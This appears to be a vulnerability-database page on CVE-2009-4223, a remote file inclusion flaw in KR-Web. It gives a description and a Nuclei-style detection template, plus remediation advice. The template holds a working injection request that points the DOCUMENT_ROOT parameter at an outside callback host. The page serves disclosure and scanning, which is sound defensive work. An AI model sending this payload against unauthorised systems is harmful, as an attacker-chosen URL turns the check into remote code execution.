CVE-2009-4223: KR-Web <=1.1b2 - Remote File Inclusion

日期: 2025-08-01 | 影响软件: KR-Web | POC: 已公开

漏洞描述

KR-Web 1.1b2 and prior contain a remote file inclusion vulnerability via adm/krgourl.php, which allows remote attackers to execute arbitrary PHP code via a URL in the DOCUMENT_ROOT parameter.

PoC代码[已公开]

id: CVE-2009-4223

info:
  name: KR-Web <=1.1b2 - Remote File Inclusion
  author: geeknik
  severity: high
  description: KR-Web 1.1b2 and prior contain a remote file inclusion vulnerability via adm/krgourl.php, which allows remote attackers to execute arbitrary PHP code via a URL in the DOCUMENT_ROOT parameter.
  impact: |
    An attacker can exploit this vulnerability to include arbitrary files from remote servers, leading to remote code execution or information disclosure.
  remediation: |
    Upgrade to a patched version of KR-Web or apply the necessary security patches to fix the remote file inclusion vulnerability.
  reference:
    - https://sourceforge.net/projects/krw/
    - https://www.exploit-db.com/exploits/10216
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/54395
    - http://www.exploit-db.com/exploits/10216
    - https://nvd.nist.gov/vuln/detail/CVE-2009-4223
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2009-4223
    cwe-id: CWE-94
    epss-score: 0.04261
    epss-percentile: 0.88414
    cpe: cpe:2.3:a:gianni_tommasi:kr-php_web_content_server:*:beta_2:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gianni_tommasi
    product: kr-php_web_content_server
  tags: cve,cve2009,krweb,rfi,edb,gianni_tommasi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/adm/krgourl.php?DOCUMENT_ROOT=http://{{interactsh-url}}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100978f3bdfca6dcf44d5525cdbc84b2c10d0b9ecd399c37f0d5dbd329bd8e0c7a702200a67f069fd3d226835825bf9f264e51011fa4aae4db8da34bbfd405e65624096:922c64590222798bb761d5b6d8e72950

相关漏洞推荐